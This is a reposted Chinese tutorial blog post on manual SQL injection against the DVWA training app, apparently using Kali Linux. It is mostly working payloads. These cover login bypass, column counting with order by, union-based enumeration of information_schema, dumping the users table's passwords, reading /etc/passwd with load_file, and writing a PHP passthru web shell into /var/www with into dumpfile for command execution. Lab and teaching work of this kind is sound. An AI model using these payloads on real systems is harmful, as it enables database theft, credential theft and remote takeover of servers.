kali linux之手动漏洞挖掘三(sql注入)

服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

基于报错的检测方法:

'       "    %

查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句

基于布尔的检测:

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

表列数/显示信息位于哪一列:

'order by 3--     #按查询列号排序(-- 注释符)

如果猜测不对会返回报错

猜到第二列没返回,说明在第二列

 

联合查询:

' union select 1,2--

查到对应信息后,查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

查看数据库版本和用户

查看当前数据库

 查看数据库路径

 

mysql数据结构------infomation_schema所有信息都在这个库里面

 查看所有的库,和所有的表

' union select table_name,table_schema from information_schema.tables--

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

读取文件

' union select null,load_file('/etc/passwd')--

写入文件(写入木马什么的,前提是要有www目录的写权限)

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令

 

友情链接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

猜你喜欢

转载自www.cnblogs.com/Hydraxx/p/10461965.html
今日推荐